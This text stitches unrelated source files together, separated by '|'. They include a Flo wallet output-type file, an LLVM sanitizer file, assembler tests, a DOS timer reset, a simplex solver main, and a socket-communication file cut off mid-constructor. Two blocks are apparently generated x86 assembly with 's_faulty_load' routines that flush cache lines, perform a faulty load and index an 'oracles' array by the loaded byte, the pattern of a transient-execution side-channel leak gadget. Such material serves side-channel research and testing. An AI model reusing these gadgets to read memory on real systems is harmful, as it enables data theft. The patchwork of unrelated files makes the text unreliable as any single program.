// Copyright (c) Flo Developers 2013-2021
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <outputtype.h>
#include <pubkey.h>
#include <script/script.h>
#include <script/sign.h>
#include <script/signingprovider.h>
#include <script/standard.h>
#include <util/vector.h>
#include <assert.h>
#include <string>
static const std::string OUTPUT_TYPE_STRING_LEGACY = "legacy";
static const std::string OUTPUT_TYPE_STRING_P2SH_SEGWIT = "p2sh-segwit";
static const std::string OUTPUT_TYPE_STRING_BECH32 = "bech32";
static const std::string OUTPUT_TYPE_STRING_BECH32M = "bech32m";
bool ParseOutputType(const std::string& type, OutputType& output_type)
{
if (type == OUTPUT_TYPE_STRING_LEGACY) {
output_type = OutputType::LEGACY;
return true;
} else if (type == OUTPUT_TYPE_STRING_P2SH_SEGWIT) {
output_type = OutputType::P2SH_SEGWIT;
return true;
} else if (type == OUTPUT_TYPE_STRING_BECH32) {
output_type = OutputType::BECH32;
return true;
} else if (type == OUTPUT_TYPE_STRING_BECH32M) {
output_type = OutputType::BECH32M;
return true;
}
return false;
}
const std::string& FormatOutputType(OutputType type)
{
switch (type) {
case OutputType::LEGACY: return OUTPUT_TYPE_STRING_LEGACY;
case OutputType::P2SH_SEGWIT: return OUTPUT_TYPE_STRING_P2SH_SEGWIT;
case OutputType::BECH32: return OUTPUT_TYPE_STRING_BECH32;
case OutputType::BECH32M: return OUTPUT_TYPE_STRING_BECH32M;
} // no default case, so the compiler can warn about missing cases
assert(false);
}
CTxDestination GetDestinationForKey(const CPubKey& key, OutputType type)
{
switch (type) {
case OutputType::LEGACY: return PKHash(key);
case OutputType::P2SH_SEGWIT:
case OutputType::BECH32: {
if (!key.IsCompressed()) return PKHash(key);
CTxDestination witdest = WitnessV0KeyHash(key);
CScript witprog = GetScriptForDestination(witdest);
if (type == OutputType::P2SH_SEGWIT) {
return ScriptHash(witprog);
} else {
return witdest;
}
}
case OutputType::BECH32M: {} // This function should never be used with BECH32M, so let it assert
} // no default case, so the compiler can warn about missing cases
assert(false);
}
std::vector<CTxDestination> GetAllDestinationsForKey(const CPubKey& key)
{
PKHash keyid(key);
CTxDestination p2pkh{keyid};
if (key.IsCompressed()) {
CTxDestination segwit = WitnessV0KeyHash(keyid);
CTxDestination p2sh = ScriptHash(GetScriptForDestination(segwit));
return Vector(std::move(p2pkh), std::move(p2sh), std::move(segwit));
} else {
return Vector(std::move(p2pkh));
}
}
CTxDestination AddAndGetDestinationForScript(FillableSigningProvider& keystore, const CScript& script, OutputType type)
{
// Add script to keystore
keystore.AddCScript(script);
// Note that scripts over 520 bytes are not yet supported.
switch (type) {
case OutputType::LEGACY:
return ScriptHash(script);
case OutputType::P2SH_SEGWIT:
case OutputType::BECH32: {
CTxDestination witdest = WitnessV0ScriptHash(script);
CScript witprog = GetScriptForDestination(witdest);
// Check if the resulting program is solvable (i.e. doesn't use an uncompressed key)
if (!IsSolvable(keystore, witprog)) return ScriptHash(script);
// Add the redeemscript, so that P2WSH and P2SH-P2WSH outputs are recognized as ours.
keystore.AddCScript(witprog);
if (type == OutputType::BECH32) {
return witdest;
} else {
return ScriptHash(witprog);
}
}
case OutputType::BECH32M: {} // This function should not be used for BECH32M, so let it assert
} // no default case, so the compiler can warn about missing cases
assert(false);
}
std::optional<OutputType> OutputTypeFromDestination(const CTxDestination& dest) {
if (std::holds_alternative<PKHash>(dest) ||
std::holds_alternative<ScriptHash>(dest)) {
return OutputType::LEGACY;
}
if (std::holds_alternative<WitnessV0KeyHash>(dest) ||
std::holds_alternative<WitnessV0ScriptHash>(dest)) {
return OutputType::BECH32;
}
return std::nullopt;
}
|
#d8 0x5 ; = 0x05
#d8 0x6 ; = 0x06
#d8 0x7 ; = 0x07 |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x15b6d, %rdi
clflush (%rdi)
nop
nop
nop
inc %rbp
movb $0x61, (%rdi)
dec %rdi
lea addresses_normal_ht+0xaa25, %r14
nop
nop
inc %rdx
mov (%r14), %r13w
nop
nop
and %r13, %r13
lea addresses_A_ht+0x1c615, %r13
nop
nop
nop
nop
cmp $28349, %r12
movb (%r13), %al
cmp $53946, %rax
lea addresses_WT_ht+0x4b55, %rbp
and $27722, %r12
movw $0x6162, (%rbp)
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x1d8a0, %rax
nop
nop
nop
cmp $20895, %rbp
mov $0x6162636465666768, %r12
movq %r12, %xmm4
and $0xffffffffffffffc0, %rax
movaps %xmm4, (%rax)
nop
nop
nop
nop
xor $37692, %r13
lea addresses_normal_ht+0x43f5, %r13
nop
nop
and %rdx, %rdx
movw $0x6162, (%r13)
and $48069, %r12
lea addresses_normal_ht+0xa1a5, %r12
nop
nop
nop
nop
nop
and %r14, %r14
movb (%r12), %al
nop
and $64161, %r14
lea addresses_WC_ht+0xae15, %rsi
lea addresses_WC_ht+0x12dc9, %rdi
nop
cmp %rdx, %rdx
mov $30, %rcx
rep movsl
nop
and %rsi, %rsi
lea addresses_WC_ht+0x14735, %r12
nop
nop
nop
nop
nop
add $52497, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm0
vmovups %ymm0, (%r12)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0xb4fd, %rdi
nop
nop
sub $16962, %rax
mov (%rdi), %cx
sub %rbp, %rbp
lea addresses_UC_ht+0x2d55, %rsi
lea addresses_WT_ht+0xb2e5, %rdi
nop
nop
nop
cmp $64643, %rbp
mov $15, %rcx
rep movsq
nop
nop
nop
sub $21996, %rdx
lea addresses_WT_ht+0x7a5, %rsi
lea addresses_A_ht+0x7b75, %rdi
xor %r13, %r13
mov $1, %rcx
rep movsl
nop
nop
nop
xor %rdx, %rdx
lea addresses_WT_ht+0x8805, %rcx
nop
add $47695, %rbp
movl $0x61626364, (%rcx)
nop
nop
nop
nop
and $19391, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rbp
push %rdi
push %rsi
// Store
lea addresses_PSE+0x115, %r12
nop
nop
nop
nop
add $2390, %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movups %xmm7, (%r12)
nop
nop
nop
xor %rbp, %rbp
// Store
lea addresses_D+0x15877, %rdi
nop
nop
nop
xor $17889, %rbp
movb $0x51, (%rdi)
dec %r10
// Faulty Load
mov $0x515, %r10
nop
nop
nop
nop
nop
sub $13016, %rsi
movb (%r10), %r8b
lea oracles, %r12
and $0xff, %r8
shlq $12, %r8
mov (%r12,%r8,1), %r8
pop %rsi
pop %rdi
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}}
{'00': 36}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
extern printResult
section .data
radius dq 1.7
result dq 0
SYS_EXIT equ 60
EXIT_CODE equ 0
section .text
global _start
_start:
fld qword [radius]
fld qword [radius]
fmul
fldpi
fmul
fstp qword [result]
mov rax, 0
movq xmm0, [result]
call printResult
mov rax, SYS_EXIT
mov rdi, EXIT_CODE
syscall
|
//===-- sanitizer_posix.cc ------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file is shared between AddressSanitizer and ThreadSanitizer
// run-time libraries and implements POSIX-specific functions from
// sanitizer_libc.h.
//===----------------------------------------------------------------------===//
#include "sanitizer_platform.h"
#if SANITIZER_LINUX || SANITIZER_MAC
#include "sanitizer_common.h"
#include "sanitizer_libc.h"
#include "sanitizer_procmaps.h"
#include "sanitizer_stacktrace.h"
#include <sys/mman.h>
namespace __sanitizer {
// ------------- sanitizer_common.h
uptr GetMmapGranularity() {
return GetPageSize();
}
uptr GetMaxVirtualAddress() {
#if SANITIZER_WORDSIZE == 64
# if defined(__powerpc64__)
// On PowerPC64 we have two different address space layouts: 44- and 46-bit.
// We somehow need to figure our which one we are using now and choose
// one of 0x00000fffffffffffUL and 0x00003fffffffffffUL.
// Note that with 'ulimit -s unlimited' the stack is moved away from the top
// of the address space, so simply checking the stack address is not enough.
return (1ULL << 44) - 1; // 0x00000fffffffffffUL
# else
return (1ULL << 47) - 1; // 0x00007fffffffffffUL;
# endif
#else // SANITIZER_WORDSIZE == 32
// FIXME: We can probably lower this on Android?
return (1ULL << 32) - 1; // 0xffffffff;
#endif // SANITIZER_WORDSIZE
}
void *MmapOrDie(uptr size, const char *mem_type) {
size = RoundUpTo(size, GetPageSizeCached());
uptr res = internal_mmap(0, size,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON, -1, 0);
int reserrno;
if (internal_iserror(res, &reserrno)) {
static int recursion_count;
if (recursion_count) {
// The Report() and CHECK calls below may call mmap recursively and fail.
// If we went into recursion, just die.
RawWrite("ERROR: Failed to mmap\n");
Die();
}
recursion_count++;
Report("ERROR: %s failed to allocate 0x%zx (%zd) bytes of %s: %d\n",
SanitizerToolName, size, size, mem_type, reserrno);
DumpProcessMap();
CHECK("unable to mmap" && 0);
}
return (void *)res;
}
void UnmapOrDie(void *addr, uptr size) {
if (!addr || !size) return;
uptr res = internal_munmap(addr, size);
if (internal_iserror(res)) {
Report("ERROR: %s failed to deallocate 0x%zx (%zd) bytes at address %p\n",
SanitizerToolName, size, size, addr);
CHECK("unable to unmap" && 0);
}
}
void *MmapFixedNoReserve(uptr fixed_addr, uptr size) {
uptr PageSize = GetPageSizeCached();
uptr p = internal_mmap((void*)(fixed_addr & ~(PageSize - 1)),
RoundUpTo(size, PageSize),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON | MAP_FIXED | MAP_NORESERVE,
-1, 0);
int reserrno;
if (internal_iserror(p, &reserrno))
Report("ERROR: "
"%s failed to allocate 0x%zx (%zd) bytes at address %p (%d)\n",
SanitizerToolName, size, size, fixed_addr, reserrno);
return (void *)p;
}
void *MmapFixedOrDie(uptr fixed_addr, uptr size) {
uptr PageSize = GetPageSizeCached();
uptr p = internal_mmap((void*)(fixed_addr & ~(PageSize - 1)),
RoundUpTo(size, PageSize),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON | MAP_FIXED,
-1, 0);
int reserrno;
if (internal_iserror(p, &reserrno)) {
Report("ERROR:"
" %s failed to allocate 0x%zx (%zd) bytes at address %p (%d)\n",
SanitizerToolName, size, size, fixed_addr, reserrno);
CHECK("unable to mmap" && 0);
}
return (void *)p;
}
void *Mprotect(uptr fixed_addr, uptr size) {
return (void *)internal_mmap((void*)fixed_addr, size,
PROT_NONE,
MAP_PRIVATE | MAP_ANON | MAP_FIXED |
MAP_NORESERVE, -1, 0);
}
void *MapFileToMemory(const char *file_name, uptr *buff_size) {
uptr openrv = OpenFile(file_name, false);
CHECK(!internal_iserror(openrv));
fd_t fd = openrv;
uptr fsize = internal_filesize(fd);
CHECK_NE(fsize, (uptr)-1);
CHECK_GT(fsize, 0);
*buff_size = RoundUpTo(fsize, GetPageSizeCached());
uptr map = internal_mmap(0, *buff_size, PROT_READ, MAP_PRIVATE, fd, 0);
return internal_iserror(map) ? 0 : (void *)map;
}
static inline bool IntervalsAreSeparate(uptr start1, uptr end1,
uptr start2, uptr end2) {
CHECK(start1 <= end1);
CHECK(start2 <= end2);
return (end1 < start2) || (end2 < start1);
}
// FIXME: this is thread-unsafe, but should not cause problems most of the time.
// When the shadow is mapped only a single thread usually exists (plus maybe
// several worker threads on Mac, which aren't expected to map big chunks of
// memory).
bool MemoryRangeIsAvailable(uptr range_start, uptr range_end) {
MemoryMappingLayout proc_maps(/*cache_enabled*/true);
uptr start, end;
while (proc_maps.Next(&start, &end,
/*offset*/0, /*filename*/0, /*filename_size*/0,
/*protection*/0)) {
if (!IntervalsAreSeparate(start, end, range_start, range_end))
return false;
}
return true;
}
void DumpProcessMap() {
MemoryMappingLayout proc_maps(/*cache_enabled*/true);
uptr start, end;
const sptr kBufSize = 4095;
char *filename = (char*)MmapOrDie(kBufSize, __FUNCTION__);
Report("Process memory map follows:\n");
while (proc_maps.Next(&start, &end, /* file_offset */0,
filename, kBufSize, /* protection */0)) {
Printf("\t%p-%p\t%s\n", (void*)start, (void*)end, filename);
}
Report("End of process memory map.\n");
UnmapOrDie(filename, kBufSize);
}
const char *GetPwd() {
return GetEnv("PWD");
}
char *FindPathToBinary(const char *name) {
const char *path = GetEnv("PATH");
if (!path)
return 0;
uptr name_len = internal_strlen(name);
InternalScopedBuffer<char> buffer(kMaxPathLength);
const char *beg = path;
while (true) {
const char *end = internal_strchrnul(beg, ':');
uptr prefix_len = end - beg;
if (prefix_len + name_len + 2 <= kMaxPathLength) {
internal_memcpy(buffer.data(), beg, prefix_len);
buffer[prefix_len] = '/';
internal_memcpy(&buffer[prefix_len + 1], name, name_len);
buffer[prefix_len + 1 + name_len] = '\0';
if (FileExists(buffer.data()))
return internal_strdup(buffer.data());
}
if (*end == '\0') break;
beg = end + 1;
}
return 0;
}
void MaybeOpenReportFile() {
if (!log_to_file || (report_fd_pid == internal_getpid())) return;
InternalScopedBuffer<char> report_path_full(4096);
internal_snprintf(report_path_full.data(), report_path_full.size(),
"%s.%d", report_path_prefix, internal_getpid());
uptr openrv = OpenFile(report_path_full.data(), true);
if (internal_iserror(openrv)) {
report_fd = kStderrFd;
log_to_file = false;
Report("ERROR: Can't open file: %s\n", report_path_full.data());
Die();
}
if (report_fd != kInvalidFd) {
// We're in the child. Close the parent's log.
internal_close(report_fd);
}
report_fd = openrv;
report_fd_pid = internal_getpid();
}
void RawWrite(const char *buffer) {
static const char *kRawWriteError =
"RawWrite can't output requested buffer!\n";
uptr length = (uptr)internal_strlen(buffer);
MaybeOpenReportFile();
if (length != internal_write(report_fd, buffer, length)) {
internal_write(report_fd, kRawWriteError, internal_strlen(kRawWriteError));
Die();
}
}
bool GetCodeRangeForFile(const char *module, uptr *start, uptr *end) {
uptr s, e, off, prot;
InternalMmapVector<char> fn(4096);
fn.push_back(0);
MemoryMappingLayout proc_maps(/*cache_enabled*/false);
while (proc_maps.Next(&s, &e, &off, &fn[0], fn.capacity(), &prot)) {
if ((prot & MemoryMappingLayout::kProtectionExecute) != 0
&& internal_strcmp(module, &fn[0]) == 0) {
*start = s;
*end = e;
return true;
}
}
return false;
}
} // namespace __sanitizer
#endif // SANITIZER_LINUX || SANITIZER_MAC
|
#ruledef test
{
ld {x} => 0x55 @ x`8
}
ld 0xff ; = 0x55ff |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x656, %rsi
lea addresses_WT_ht+0x1cbd6, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
mov $39, %rcx
rep movsq
and $16780, %rsi
lea addresses_D_ht+0x1d0b6, %r13
nop
nop
add $13922, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
vmovups %ymm1, (%r13)
nop
sub %r13, %r13
lea addresses_UC_ht+0x2856, %r11
nop
nop
sub $18336, %r10
mov (%r11), %rbx
nop
nop
dec %r11
lea addresses_D_ht+0x11cb2, %r10
cmp %r11, %r11
movw $0x6162, (%r10)
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_UC_ht+0x13056, %r10
nop
nop
nop
add $30931, %r13
movb $0x61, (%r10)
nop
nop
nop
cmp %r11, %r11
lea addresses_normal_ht+0x17056, %rsi
lea addresses_WC_ht+0x178be, %rdi
clflush (%rsi)
nop
nop
nop
nop
and $38334, %r12
mov $30, %rcx
rep movsb
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0xba56, %r10
nop
nop
nop
nop
nop
sub $59940, %r12
vmovups (%r10), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
nop
nop
nop
add %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_RW+0x3c56, %rsi
nop
nop
xor %rax, %rax
movl $0x51525354, (%rsi)
nop
cmp %rdi, %rdi
// Store
mov $0xcd6, %r14
nop
nop
nop
and %r8, %r8
movw $0x5152, (%r14)
nop
nop
nop
and $25250, %rbx
// Load
lea addresses_WC+0xa936, %rax
nop
nop
nop
nop
cmp %rdi, %rdi
movaps (%rax), %xmm3
vpextrq $1, %xmm3, %rsi
nop
nop
nop
nop
sub $12536, %r8
// Store
lea addresses_RW+0x767a, %r11
nop
nop
nop
nop
and $13762, %r14
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%r11)
nop
inc %rdi
// Faulty Load
lea addresses_A+0x1856, %r14
clflush (%r14)
nop
nop
nop
nop
nop
and $61171, %r8
mov (%r14), %rbx
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_P', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 343}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
; This resets the timer rat to 18.2 Hz.
; to compile, just type:
; ml treset.asm
; the compiler generates treset.com
.MODEL TINY
.CODE
.STARTUP
TDATA EQU 40h
TCOMMAND EQU 43h
mov al, 36h
out TCOMMAND, al ; Reser PIT channel 0
mov ax, 0h
out TDATA, al
mov al, ah
out TDATA, al
.EXIT
END
|
// Copyright (C) 2019 Maciej Drwal
//
// Permission is granted to copy and distribute verbatim copies and modified
// versions of this file, provided that the copyright notice and this permission
// notice are preserved on all copies and modified versions of this file.
//
#include <iostream>
#include <fstream>
#include "parser.h"
#include "presolve.h"
#include "simplex.h"
int main(int argc, char ** argv)
{
std::cout.precision(4);
std::cout.setf(std::ios_base::showpoint);
if (argc < 2) {
std::cout << "You must provide a file name." << std::endl;
return 1;
}
if (strcmp(strrchr(argv[1], '.'), ".lp") == 0) {
file_format = LP_FILE;
}
else if (strcmp(strrchr(argv[1], '.'), ".mps") == 0) {
file_format = MPS_FILE;
}
else {
std::cout << "Unrecognized file extension (must be one of: .lp, .mps)." << std::endl;
return 1;
}
std::ifstream fin;
fin.open(argv[1]);
if (!fin) {
std::cout << "Invalid input file name." << std::endl;
return 1;
}
// Read whole input file instead of separate lines
fin.seekg(0, std::ios::end);
size_t size = fin.tellg();
std::string buffer(size, ' ');
fin.seekg(0);
fin.read(&buffer[0], size);
fin.close();
// Alternative method:
//std::stringstream buffer;
//buffer << fin.rdbuf();
std::cout << "Reading file done.\n" << std::endl;
LinearProgram lp;
Presolve presolve(lp);
// Code used to feed old hand-written parsers (non-Spirit)
// string line;
// while (fin) {
// getline(fin, line);
// line += "\n";
// if (file_format == LP_FILE) {
// if (parse_input_line_lp(line.c_str(), &lp) != 0) {
// fin.close();
// std::cout << "Aborting." << std::endl;
// return 1;
// }
// }
// else if (file_format == MPS_FILE) {
// if (parse_input_line_mps(line.c_str(), &lp) != 0) {
// fin.close();
// std::cout << "Aborting." << std::endl;
// return 1;
// }
// }
// }
try {
if (run_parser_lp(buffer, lp)) {
presolve.run();
lp.solve();
lp.write("sol_test.xml");
}
}
catch (const std::string& msg) {
std::cout << "Exception: " << msg << std::endl;
}
std::cout << "Exiting program." << std::endl;
return 0;
}
|
#include <map>
#include <vector>
#include "protocols.hpp"
#include "messageReceiver.hpp"
#include "CodeTimer.h"
#include <ucp/api/ucp.h>
#include <ucp/api/ucp_def.h>
#include <thread>
#include "execution_graph/logic_controllers/CacheMachine.h"
using namespace fmt::literals;
using namespace std::chrono_literals;
constexpr size_t NUMBER_RETRIES = 20;
constexpr size_t FILE_RETRY_DELAY = 20;
namespace io{
void read_from_socket(int socket_fd, void * data, size_t read_size){
try {
size_t amount_read = 0;
int bytes_read = 0;
size_t count_invalids = 0;
while (amount_read < read_size && count_invalids < NUMBER_RETRIES) {
bytes_read = read(socket_fd, data + amount_read, read_size - amount_read);
if (bytes_read != -1) {
amount_read += bytes_read;
count_invalids = 0;
} else {
if (errno == 9) { // Bad socket number
std::cerr << "Bad socket reading from " << socket_fd << std::endl;
throw std::runtime_error("Bad socket");
}
const int sleep_milliseconds = (count_invalids + 1) * FILE_RETRY_DELAY;
std::this_thread::sleep_for(std::chrono::milliseconds(sleep_milliseconds));
count_invalids++;
}
}
if(amount_read < read_size){
throw std::runtime_error("Could not read complete message from socket with errno " + std::to_string(errno));
}
} catch(std::exception & e){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in read_from_socket. What: {}"_format(e.what()));
}
throw;
}
}
void write_to_socket(int socket_fd, const void * data, size_t write_size){
try {
size_t amount_written = 0;
int bytes_written = 0;
size_t count_invalids = 0;
while (amount_written < write_size && count_invalids < NUMBER_RETRIES) {
bytes_written = write(socket_fd, data + amount_written, write_size - amount_written);
if (bytes_written != -1) {
amount_written += bytes_written;
count_invalids = 0;
} else {
if (errno == 9) { // Bad socket number
std::cerr << "Bad socket writing to " << socket_fd << std::endl;
throw std::runtime_error("Bad socket");
}
// TODO: add check to make sure that the task was not handlerThread
const int sleep_milliseconds = (count_invalids + 1) * FILE_RETRY_DELAY;
std::this_thread::sleep_for(
std::chrono::milliseconds(sleep_milliseconds));
if (count_invalids < 300) {
count_invalids++;
}
}
}
if(amount_written < write_size ){
throw std::runtime_error("Could not write complete message to socket with errno " +std::to_string(errno));
}
} catch(std::exception & e){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in write_to_socket. What: {}"_format(e.what()));
}
throw;
}
}
}
namespace comm {
graphs_info & graphs_info::getInstance() {
static graphs_info instance;
return instance;
}
std::mutex instance_mutex;
ucp_progress_manager * instance = nullptr;
ucp_progress_manager * ucp_progress_manager::get_instance(ucp_worker_h ucp_worker, size_t request_size) {
std::unique_lock<std::mutex> lock(instance_mutex);
if(instance == nullptr){
instance = new ucp_progress_manager(ucp_worker,request_size);
}
return instance;
}
ucp_progress_manager * ucp_progress_manager::get_instance() {
if(instance == nullptr){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in ucp_progress_manager (in blazing) not initialized.");
}
throw std::runtime_error("ucp_progress_manager (in blazing) not initialized.");
}
return instance;
}
ucp_progress_manager::ucp_progress_manager(ucp_worker_h ucp_worker, size_t request_size) :
_request_size{request_size}, ucp_worker{ucp_worker} {
